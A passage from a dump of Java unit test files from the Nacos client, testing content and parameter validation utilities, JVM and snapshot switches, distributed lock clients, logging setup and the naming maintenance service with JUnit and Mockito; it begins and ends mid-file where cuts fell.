    "content": "/*\n *\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\npackage com.alibaba.nacos.client.config.utils;\n\nimport org.junit.jupiter.api.Test;\n\nimport java.util.Arrays;\n\nimport static com.alibaba.nacos.api.common.Constants.WORD_SEPARATOR;\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass ContentUtilsTest {\n    \n    @Test\n    void testVerifyIncrementPubContent() {\n        String content = \"aabbb\";\n        ContentUtils.verifyIncrementPubContent(content);\n    }\n    \n    @Test\n    void testVerifyIncrementPubContentFail1() {\n        Throwable exception = assertThrows(IllegalArgumentException.class, () -> {\n            String content = null;\n            ContentUtils.verifyIncrementPubContent(content);\n        });\n        assertTrue(exception.getMessage().contains(\"publish/delete content can not be null\"));\n    }\n    \n    @Test\n    void testVerifyIncrementPubContentFail2() {\n        Throwable exception = assertThrows(IllegalArgumentException.class, () -> {\n            String content = \"aa\\rbbb\";\n            ContentUtils.verifyIncrementPubContent(content);\n        });\n        assertTrue(exception.getMessage().contains(\"publish/delete content can not contain return and linefeed\"));\n    }\n    \n    @Test\n    void testVerifyIncrementPubContentFail3() {\n        Throwable exception = assertThrows(IllegalArgumentException.class, () -> {\n            String content = \"\";\n            ContentUtils.verifyIncrementPubContent(content);\n        });\n        assertTrue(exception.getMessage().contains(\"publish/delete content can not be null\"));\n    }\n    \n    @Test\n    void testVerifyIncrementPubContentFail4() {\n        Throwable exception = assertThrows(IllegalArgumentException.class, () -> {\n            String content = \"aa\" + WORD_SEPARATOR + \"bbb\";\n            ContentUtils.verifyIncrementPubContent(content);\n        });\n        assertTrue(exception.getMessage().contains(\"publish/delete content can not contain(char)2\"));\n    }\n    \n    @Test\n    void testGetContentIdentity() {\n        String content = \"aa\" + WORD_SEPARATOR + \"bbb\";\n        String content1 = ContentUtils.getContentIdentity(content);\n        assertEquals(\"aa\", content1);\n    }\n    \n    @Test\n    void testGetContentIdentityFail() {\n        assertThrows(IllegalArgumentException.class, () -> {\n            String content = \"aabbb\";\n            ContentUtils.getContentIdentity(content);\n        });\n    }\n    \n    @Test\n    void testGetContent() {\n        String content = \"aa\" + WORD_SEPARATOR + \"bbb\";\n        String content1 = ContentUtils.getContent(content);\n        assertEquals(\"bbb\", content1);\n    }\n    \n    @Test\n    void testGetContentFail() {\n        assertThrows(IllegalArgumentException.class, () -> {\n            String content = \"aabbb\";\n            ContentUtils.getContent(content);\n        });\n    }\n    \n    @Test\n    void testTruncateContent() {\n        String content = \"aa\";\n        String actual = ContentUtils.truncateContent(content);\n        assertEquals(content, actual);\n    }\n    \n    @Test\n    void testTruncateLongContent() {\n        char[] arr = new char[101];\n        Arrays.fill(arr, 'a');\n        String content = new String(arr);\n        String actual = ContentUtils.truncateContent(content);\n        assertEquals(content.substring(0, 100) + \"...\", actual);\n    }\n    \n    @Test\n    void testTruncateContentNull() {\n        String actual = ContentUtils.truncateContent(null);\n        assertEquals(\"\", actual);\n    }\n}"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/config/utils/JvmUtilTest.java",
    "content": "/*\n *\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\npackage com.alibaba.nacos.client.config.utils;\n\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport java.lang.reflect.Field;\nimport java.lang.reflect.InvocationTargetException;\nimport java.lang.reflect.Method;\n\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass JvmUtilTest {\n    \n    Method initMethod;\n    \n    @BeforeEach\n    void setUp() throws NoSuchMethodException {\n        initMethod = JvmUtil.class.getDeclaredMethod(\"init\");\n        initMethod.setAccessible(true);\n    }\n    \n    @AfterEach\n    void tearDown() throws NoSuchFieldException, IllegalAccessException {\n        System.clearProperty(\"isMultiInstance\");\n        Field field = JvmUtil.class.getDeclaredField(\"isMultiInstance\");\n        field.setAccessible(true);\n        field.set(JvmUtil.class, false);\n    }\n    \n    @Test\n    void testIsMultiInstance() throws InvocationTargetException, IllegalAccessException {\n        initMethod.invoke(JvmUtil.class);\n        Boolean multiInstance = JvmUtil.isMultiInstance();\n        assertFalse(multiInstance);\n    }\n    \n    @Test\n    void testIsMultiInstance2() throws InvocationTargetException, IllegalAccessException {\n        System.setProperty(\"isMultiInstance\", \"true\");\n        initMethod.invoke(JvmUtil.class);\n        Boolean multiInstance = JvmUtil.isMultiInstance();\n        assertTrue(multiInstance);\n    }\n}"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/config/utils/ParamUtilsTest.java",
    "content": "/*\n *\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\npackage com.alibaba.nacos.client.config.utils;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.ArrayList;\nimport java.util.Arrays;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.junit.jupiter.api.Assertions.fail;\n\nclass ParamUtilsTest {\n    \n    @Test\n    void testIsValid() {\n        String content = \"abcABC09.:_-\";\n        assertTrue(ParamUtils.isValid(content));\n        \n        content = null;\n        assertFalse(ParamUtils.isValid(content));\n        \n        content = \"@\";\n        assertFalse(ParamUtils.isValid(content));\n        \n        content = \"+\";\n        assertFalse(ParamUtils.isValid(content));\n        \n        content = \"/\";\n        assertFalse(ParamUtils.isValid(content));\n    }\n    \n    @Test\n    void testCheckTdg() throws NacosException {\n        String tenant = \"a\";\n        String dataId = \"b\";\n        String group = \"c\";\n        ParamUtils.checkTdg(tenant, dataId, group);\n    }\n    \n    @Test\n    void testCheckTdgFail1() throws NacosException {\n        Throwable exception = assertThrows(NacosException.class, () -> {\n            \n            String tenant = \"a\";\n            String dataId = \"\";\n            String group = \"c\";\n            ParamUtils.checkTdg(tenant, dataId, group);\n        });\n        assertTrue(exception.getMessage().contains(\"dataId invalid\"));\n    }\n    \n    @Test\n    void testCheckTdgFail2() throws NacosException {\n        Throwable exception = assertThrows(NacosException.class, () -> {\n            \n            String tenant = \"a\";\n            String dataId = \"b\";\n            String group = \"\";\n            ParamUtils.checkTdg(tenant, dataId, group);\n        });\n        assertTrue(exception.getMessage().contains(\"group invalid\"));\n    }\n    \n    @Test\n    void testCheckKeyParam1() throws NacosException {\n        String dataId = \"b\";\n        String group = \"c\";\n        ParamUtils.checkKeyParam(dataId, group);\n        \n        try {\n            dataId = \"\";\n            group = \"c\";\n            ParamUtils.checkKeyParam(dataId, group);\n            fail();\n        } catch (NacosException e) {\n            assertEquals(\"dataId invalid\", e.getMessage());\n        }\n        \n        try {\n            dataId = \"b\";\n            group = \"\";\n            ParamUtils.checkKeyParam(dataId, group);\n            fail();\n        } catch (NacosException e) {\n            assertEquals(\"group invalid\", e.getMessage());\n        }\n    }\n    \n    @Test\n    void testCheckKeyParam2() throws NacosException {\n        String dataId = \"b\";\n        String group = \"c\";\n        String datumId = \"a\";\n        ParamUtils.checkKeyParam(dataId, group, datumId);\n        \n        try {\n            dataId = \"\";\n            group = \"c\";\n            ParamUtils.checkKeyParam(dataId, group, datumId);\n            \n            fail();\n        } catch (NacosException e) {\n            assertEquals(\"dataId invalid\", e.getMessage());\n        }\n        \n        try {\n            dataId = \"b\";\n            group = \"\";\n            ParamUtils.checkKeyParam(dataId, group, datumId);\n            \n            fail();\n        } catch (NacosException e) {\n            assertEquals(\"group invalid\", e.getMessage());\n        }\n        \n        try {\n            dataId = \"b\";\n            group = \"c\";\n            datumId = \"\";\n            ParamUtils.checkKeyParam(dataId, group, datumId);\n            \n            fail();\n        } catch (NacosException e) {\n            assertEquals(\"datumId invalid\", e.getMessage());\n        }\n    }\n    \n    @Test\n    void testCheckKeyParam3() throws NacosException {\n        String dataId = \"b\";\n        String group = \"c\";\n        ParamUtils.checkKeyParam(Arrays.asList(dataId), group);\n        \n        try {\n            group = \"c\";\n            ParamUtils.checkKeyParam(new ArrayList<String>(), group);\n            \n            fail();\n        } catch (NacosException e) {\n            assertEquals(\"dataIds invalid\", e.getMessage());\n        }\n        \n        try {\n            dataId = \"\";\n            group = \"c\";\n            ParamUtils.checkKeyParam(Arrays.asList(dataId), group);\n            \n            fail();\n        } catch (NacosException e) {\n            assertEquals(\"dataId invalid\", e.getMessage());\n        }\n        \n        try {\n            dataId = \"b\";\n            group = \"\";\n            ParamUtils.checkKeyParam(Arrays.asList(dataId), group);\n            \n            fail();\n        } catch (NacosException e) {\n            assertEquals(\"group invalid\", e.getMessage());\n        }\n    }\n    \n    @Test\n    void testCheckParam() throws NacosException {\n        String dataId = \"b\";\n        String group = \"c\";\n        String content = \"a\";\n        ParamUtils.checkParam(dataId, group, content);\n    }\n    \n    @Test\n    void testCheckParamFail() throws NacosException {\n        Throwable exception = assertThrows(NacosException.class, () -> {\n            \n            String dataId = \"b\";\n            String group = \"c\";\n            String content = \"\";\n            ParamUtils.checkParam(dataId, group, content);\n        });\n        assertTrue(exception.getMessage().contains(\"content invalid\"));\n    }\n    \n    @Test\n    void testCheckParam2() throws NacosException {\n        String dataId = \"b\";\n        String group = \"c\";\n        String datumId = \"d\";\n        String content = \"a\";\n        ParamUtils.checkParam(dataId, group, datumId, content);\n    }\n    \n    @Test\n    void testCheckParam2Fail() throws NacosException {\n        Throwable exception = assertThrows(NacosException.class, () -> {\n            \n            String dataId = \"b\";\n            String group = \"c\";\n            String datumId = \"d\";\n            String content = \"\";\n            ParamUtils.checkParam(dataId, group, datumId, content);\n        });\n        assertTrue(exception.getMessage().contains(\"content invalid\"));\n    }\n    \n    @Test\n    void testCheckTenant() throws NacosException {\n        String tenant = \"a\";\n        ParamUtils.checkTenant(tenant);\n    }\n    \n    @Test\n    void testCheckTenantFail() throws NacosException {\n        Throwable exception = assertThrows(NacosException.class, () -> {\n            String tenant = \"\";\n            ParamUtils.checkTenant(tenant);\n        });\n        assertTrue(exception.getMessage().contains(\"tenant invalid\"));\n    }\n    \n    @Test\n    void testCheckBetaIps() throws NacosException {\n        ParamUtils.checkBetaIps(\"127.0.0.1\");\n    }\n    \n    @Test\n    void testCheckBetaIpsFail1() throws NacosException {\n        Throwable exception = assertThrows(NacosException.class, () -> {\n            \n            ParamUtils.checkBetaIps(\"\");\n        });\n        assertTrue(exception.getMessage().contains(\"betaIps invalid\"));\n    }\n    \n    @Test\n    void testCheckBetaIpsFail2() throws NacosException {\n        Throwable exception = assertThrows(NacosException.class, () -> {\n            ParamUtils.checkBetaIps(\"aaa\");\n        });\n        assertTrue(exception.getMessage().contains(\"betaIps invalid\"));\n    }\n    \n    @Test\n    void testCheckContent() throws NacosException {\n        ParamUtils.checkContent(\"aaa\");\n    }\n    \n    @Test\n    void testCheckContentFail() throws NacosException {\n        Throwable exception = assertThrows(NacosException.class, () -> {\n            ParamUtils.checkContent(\"\");\n        });\n        assertTrue(exception.getMessage().contains(\"content invalid\"));\n    }\n}"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/config/utils/SnapShotSwitchTest.java",
    "content": "/*\n *\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\npackage com.alibaba.nacos.client.config.utils;\n\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass SnapShotSwitchTest {\n    \n    @Test\n    void testGetIsSnapShot() {\n        Boolean isSnapShot = SnapShotSwitch.getIsSnapShot();\n        assertTrue(isSnapShot);\n        \n        SnapShotSwitch.setIsSnapShot(false);\n        assertFalse(SnapShotSwitch.getIsSnapShot());\n        \n        SnapShotSwitch.setIsSnapShot(true);\n        assertTrue(SnapShotSwitch.getIsSnapShot());\n    }\n    \n}"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/lock/NacosLockServiceTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.lock;\n\nimport com.alibaba.nacos.api.PropertyKeyConst;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.client.lock.core.NLock;\nimport com.alibaba.nacos.client.lock.core.NLockFactory;\nimport com.alibaba.nacos.client.lock.remote.grpc.LockGrpcClient;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport java.lang.reflect.Field;\nimport java.util.Properties;\n\nimport static org.mockito.Mockito.verify;\n\n@ExtendWith(MockitoExtension.class)\nclass NacosLockServiceTest {\n    \n    @Mock\n    private LockGrpcClient lockGrpcClient;\n    \n    private NacosLockService lockService;\n    \n    @BeforeEach\n    void setUp() throws NacosException, NoSuchFieldException, IllegalAccessException {\n        Properties properties = new Properties();\n        properties.put(PropertyKeyConst.SERVER_ADDR, \"127.0.0.1\");\n        lockService = new NacosLockService(properties);\n        injectMock();\n    }\n    \n    private void injectMock() throws NoSuchFieldException, IllegalAccessException {\n        Field lockGrpcClientField = NacosLockService.class.getDeclaredField(\"lockGrpcClient\");\n        lockGrpcClientField.setAccessible(true);\n        lockGrpcClientField.set(lockService, lockGrpcClient);\n    }\n    \n    @AfterEach\n    void tearDown() throws NacosException {\n        lockService.shutdown();\n    }\n    \n    @Test\n    void lock() throws NacosException {\n        NLock nLock = NLockFactory.getLock(\"test\");\n        lockService.lock(nLock);\n        verify(lockGrpcClient).lock(nLock);\n    }\n    \n    @Test\n    void unLock() throws NacosException {\n        NLock nLock = NLockFactory.getLock(\"test\");\n        lockService.unLock(nLock);\n        verify(lockGrpcClient).unLock(nLock);\n    }\n}"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/lock/remote/grpc/LockGrpcClientTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.lock.remote.grpc;\n\nimport com.alibaba.nacos.api.ability.constant.AbilityKey;\nimport com.alibaba.nacos.api.ability.constant.AbilityStatus;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.runtime.NacosRuntimeException;\nimport com.alibaba.nacos.api.lock.remote.AbstractLockRequest;\nimport com.alibaba.nacos.api.lock.remote.response.LockOperationResponse;\nimport com.alibaba.nacos.api.remote.response.ErrorResponse;\nimport com.alibaba.nacos.api.remote.response.ServerCheckResponse;\nimport com.alibaba.nacos.client.env.NacosClientProperties;\nimport com.alibaba.nacos.client.lock.core.NLockFactory;\nimport com.alibaba.nacos.client.security.SecurityProxy;\nimport com.alibaba.nacos.common.remote.client.RpcClient;\nimport com.alibaba.nacos.common.remote.client.ServerListFactory;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport java.lang.reflect.Field;\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport static org.junit.jupiter.api.Assertions.assertThrows;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\nclass LockGrpcClientTest {\n    \n    @Mock\n    private RpcClient rpcClient;\n    \n    @Mock\n    private SecurityProxy securityProxy;\n    \n    @Mock\n    private ServerListFactory serverListFactory;\n    \n    private LockGrpcClient lockGrpcClient;\n    \n    @BeforeEach\n    void setUp() throws NacosException, NoSuchFieldException, IllegalAccessException {\n        lockGrpcClient = new LockGrpcClient(NacosClientProperties.PROTOTYPE, serverListFactory, securityProxy);\n        Field rpcClientField = LockGrpcClient.class.getDeclaredField(\"rpcClient\");\n        rpcClientField.setAccessible(true);\n        rpcClientField.set(lockGrpcClient, rpcClient);\n    }\n    \n    @AfterEach\n    void tearDown() throws NacosException {\n        lockGrpcClient.shutdown();\n    }\n    \n    private void mockRequest() {\n        Map<String, String> context = new HashMap<>();\n        when(securityProxy.getIdentityContext(any())).thenReturn(context);\n        when(rpcClient.getConnectionAbility(AbilityKey.SERVER_DISTRIBUTED_LOCK)).thenReturn(AbilityStatus.SUPPORTED);\n    }\n    \n    @Test\n    void lockNotSupportedFeature() {\n        when(rpcClient.getConnectionAbility(AbilityKey.SERVER_DISTRIBUTED_LOCK)).thenReturn(AbilityStatus.NOT_SUPPORTED);\n        assertThrows(NacosRuntimeException.class, () -> lockGrpcClient.lock(NLockFactory.getLock(\"test\", -1L)));\n    }\n    \n    @Test\n    void lockWithNacosException() throws NacosException {\n        mockRequest();\n        when(rpcClient.request(any(AbstractLockRequest.class))).thenThrow(new NacosException(NacosException.SERVER_ERROR, \"test\"));\n        assertThrows(NacosException.class, () -> lockGrpcClient.lock(NLockFactory.getLock(\"test\", -1L)), \"test\");\n    }\n    \n    @Test\n    void lockWithOtherException() throws NacosException {\n        mockRequest();\n        when(rpcClient.request(any(AbstractLockRequest.class))).thenThrow(new RuntimeException(\"test\"));\n        assertThrows(NacosException.class, () -> lockGrpcClient.lock(NLockFactory.getLock(\"test\", -1L)), \"Request nacos server failed: test\");\n    }\n    \n    @Test\n    void lockWithUnexpectedResponse() throws NacosException {\n        mockRequest();\n        when(rpcClient.request(any(AbstractLockRequest.class))).thenReturn(new ServerCheckResponse());\n        assertThrows(NacosException.class, () -> lockGrpcClient.lock(NLockFactory.getLock(\"test\", -1L)), \"Server return invalid response\");\n    }\n    \n    @Test\n    void lockFailed() throws NacosException {\n        mockRequest();\n        when(rpcClient.request(any(AbstractLockRequest.class))).thenReturn(ErrorResponse.build(500, \"test fail code\"));\n        assertThrows(NacosException.class, () -> lockGrpcClient.lock(NLockFactory.getLock(\"test\", -1L)), \"test fail code\");\n    }\n    \n    @Test\n    void lockSuccess() throws NacosException {\n        mockRequest();\n        when(rpcClient.request(any(AbstractLockRequest.class))).thenReturn(new LockOperationResponse(true));\n        assertTrue(lockGrpcClient.lock(NLockFactory.getLock(\"test\", -1L)));\n    }\n    \n    @Test\n    void unLockNotSupportedFeature() {\n        when(rpcClient.getConnectionAbility(AbilityKey.SERVER_DISTRIBUTED_LOCK)).thenReturn(AbilityStatus.NOT_SUPPORTED);\n        assertThrows(NacosRuntimeException.class, () -> lockGrpcClient.unLock(NLockFactory.getLock(\"test\", -1L)));\n    }\n    \n    @Test\n    void unlockSuccess() throws NacosException {\n        mockRequest();\n        when(rpcClient.request(any(AbstractLockRequest.class))).thenReturn(new LockOperationResponse(true));\n        assertTrue(lockGrpcClient.unLock(NLockFactory.getLock(\"test\", -1L)));\n    }\n}"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/logging/NacosLoggingTest.java",
    "content": "/*\n *\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\npackage com.alibaba.nacos.client.logging;\n\nimport com.alibaba.nacos.common.logging.NacosLoggingAdapter;\nimport com.alibaba.nacos.common.logging.NacosLoggingProperties;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.Mockito;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport java.lang.reflect.Field;\nimport java.util.Properties;\n\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.mockito.Mockito.doThrow;\n\n@ExtendWith(MockitoExtension.class)\nclass NacosLoggingTest {\n    \n    @Mock\n    NacosLoggingAdapter loggingAdapter;\n    \n    NacosLoggingProperties loggingProperties;\n    \n    NacosLogging instance;\n    \n    @BeforeEach\n    void setUp() throws NoSuchFieldException, IllegalAccessException {\n        loggingProperties = new NacosLoggingProperties(\"\", new Properties());\n        instance = NacosLogging.getInstance();\n        Field loggingPropertiesField = NacosLogging.class.getDeclaredField(\"loggingProperties\");\n        loggingPropertiesField.setAccessible(true);\n        loggingPropertiesField.set(instance, loggingProperties);\n    }\n    \n    @Test\n    void testGetInstance() {\n        NacosLogging instance = NacosLogging.getInstance();\n        assertNotNull(instance);\n    }\n    \n    @Test\n    void testLoadConfiguration() throws NoSuchFieldException, IllegalAccessException {\n        instance = NacosLogging.getInstance();\n        Field nacosLogging = NacosLogging.class.getDeclaredField(\"loggingAdapter\");\n        nacosLogging.setAccessible(true);\n        nacosLogging.set(instance, loggingAdapter);\n        instance.loadConfiguration();\n        Mockito.verify(loggingAdapter, Mockito.times(1)).loadConfiguration(loggingProperties);\n    }\n    \n    @Test\n    void testLoadConfigurationWithException() throws NoSuchFieldException, IllegalAccessException {\n        instance = NacosLogging.getInstance();\n        Field nacosLoggingField = NacosLogging.class.getDeclaredField(\"loggingAdapter\");\n        nacosLoggingField.setAccessible(true);\n        NacosLoggingAdapter cachedLogging = (NacosLoggingAdapter) nacosLoggingField.get(instance);\n        try {\n            doThrow(new RuntimeException()).when(loggingAdapter).loadConfiguration(loggingProperties);\n            nacosLoggingField.set(instance, loggingAdapter);\n            instance.loadConfiguration();\n            // without exception thrown\n        } finally {\n            nacosLoggingField.set(instance, cachedLogging);\n        }\n    }\n}"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/naming/NacosNamingMaintainServiceTest.java",
    "content": "/*\n *\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\npackage com.alibaba.nacos.client.naming;\n\nimport com.alibaba.nacos.api.PropertyKeyConst;\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.naming.pojo.Instance;\nimport com.alibaba.nacos.api.naming.pojo.Service;\nimport com.alibaba.nacos.api.selector.AbstractSelector;\nimport com.alibaba.nacos.api.selector.ExpressionSelector;\nimport com.alibaba.nacos.api.selector.NoneSelector;\nimport com.alibaba.nacos.client.naming.core.NamingServerListManager;\nimport com.alibaba.nacos.client.naming.remote.http.NamingHttpClientProxy;\nimport com.alibaba.nacos.client.security.SecurityProxy;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.mockito.ArgumentMatcher;\n\nimport java.lang.reflect.Field;\nimport java.util.HashMap;\nimport java.util.Map;\nimport java.util.Properties;\nimport java.util.concurrent.ScheduledExecutorService;\n\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.mockito.ArgumentMatchers.argThat;\nimport static org.mockito.Mockito.mock;\nimport static org.mockito.Mockito.times;\nimport static org.mockito.Mockito.verify;\n\nclass NacosNamingMaintainServiceTest {\n    \n    private NacosNamingMaintainService nacosNamingMaintainService;\n    \n    private NamingHttpClientProxy serverProxy;\n    \n    private NamingServerListManager serverListManager;\n    \n    private SecurityProxy securityProxy;\n    \n    private ScheduledExecutorService executorService;\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        Properties prop = new Properties();\n        prop.setProperty(PropertyKeyConst.NAMESPACE, \"public\");\n        prop.setProperty(\"serverAddr\", \"localhost\");\n        \n        nacosNamingMaintainService = new NacosNamingMaintainService(prop);\n        serverProxy = mock(NamingHttpClientProxy.class);\n        serverListManager = mock(NamingServerListManager.class);\n        securityProxy = mock(SecurityProxy.class);\n        executorService = mock(ScheduledExecutorService.class);\n        \n        Field serverProxyField = NacosNamingMaintainService.class.getDeclaredField(\"serverProxy\");\n        serverProxyField.setAccessible(true);\n        serverProxyField.set(nacosNamingMaintainService, serverProxy);\n        Field serverListManagerField = NacosNamingMaintainService.class.getDeclaredField(\"serverListManager\");\n        serverListManagerField.setAccessible(true);\n        serverListManagerField.set(nacosNamingMaintainService, serverListManager);\n        Field securityProxyFiled = NacosNamingMaintainService.class.getDeclaredField(\"securityProxy\");\n        securityProxyFiled.setAccessible(true);\n        securityProxyFiled.set(nacosNamingMaintainService, securityProxy);\n        Field executorServiceField = NacosNamingMaintainService.class.getDeclaredField(\"executorService\");\n        executorServiceField.setAccessible(true);\n        executorServiceField.set(nacosNamingMaintainService, executorService);\n    }\n    \n    @AfterEach\n    void tearDown() throws Exception {\n    }\n    \n    @Test\n    void testConstructor() throws NacosException {\n        NacosNamingMaintainService client = new NacosNamingMaintainService(\"localhost\");\n        assertNotNull(client);\n    }\n    \n    @Test\n    void testUpdateInstance1() throws NacosException {\n        //given\n        String serviceName = \"service1\";\n        String groupName = \"group1\";\n        Instance instance = new Instance();\n        //when\n        nacosNamingMaintainService.updateInstance(serviceName, groupName, instance);\n        //then\n        verify(serverProxy, times(1)).updateInstance(serviceName, groupName, instance);\n    }\n    \n    @Test\n    void testUpdateInstance2() throws NacosException {\n        //given\n        String serviceName = \"service1\";\n        Instance instance = new Instance();\n        //when\n        nacosNamingMaintainService.updateInstance(serviceName, instance);\n        //then\n        verify(serverProxy, times(1)).updateInstance(serviceName, Constants.DEFAULT_GROUP, instance);\n    }\n    \n    @Test\n    void testQueryService1() throws NacosException {\n        //given\n        String serviceName = \"service1\";\n        String groupName = \"group1\";\n        //when\n        nacosNamingMaintainService.queryService(serviceName, groupName);\n        //then\n        verify(serverProxy, times(1)).queryService(serviceName, groupName);\n    }\n    \n    @Test\n    void testQueryService2() throws NacosException {\n        //given\n        String serviceName = \"service1\";\n        Instance instance = new Instance();\n        //when\n        nacosNamingMaintainService.queryService(serviceName);\n        //then\n        verify(serverProxy, times(1)).queryService(serviceName, Constants.DEFAULT_GROUP);\n    }\n    \n    @Test\n    void testCreateService1() throws NacosException {\n        //given\n        String serviceName = \"service1\";\n        //when\n        nacosNamingMaintainService.createService(serviceName);\n        //then\n        verify(serverProxy, times(1)).createService(argThat(new ArgumentMatcher<Service>() {\n            @Override\n            public boolean matches(Service service) {\n                return service.getName().equals(serviceName) && service.getGroupName().equals(Constants.DEFAULT_GROUP)\n                        && Math.abs(service.getProtectThreshold() - Constants.DEFAULT_PROTECT_THRESHOLD) < 0.1f\n                        && service.getMetadata().size() == 0;\n            }\n        }), argThat(o -> o instanceof 